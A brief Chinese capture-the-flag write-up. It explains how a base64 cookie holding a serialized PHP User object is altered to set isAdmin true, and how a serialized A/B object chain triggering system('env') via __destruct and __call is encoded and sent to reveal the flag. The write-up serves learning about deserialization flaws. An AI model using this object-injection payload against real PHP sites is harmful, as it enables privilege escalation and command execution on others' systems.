这道题打开一片空白查看源码也没发现内容查看网络发现cookie有点奇怪像被base64编码过，解码得到O:4:"User":1:{s:7:"isAdmin";b:0;}这里布尔类型的变量是0这里改成1看看能不能让网页正常显示，这里传一个参数给A用__destruct()给B利用B中的_call()执行命令构造payload：O:1:"A":3:{s:10:"className";s:1:"B";s:8:"funcName";s:6:"system";s:4:"args";a:1:{i:0;s:3:"env";}}，这里反转加base64编码输入查看环境变量找到flag
``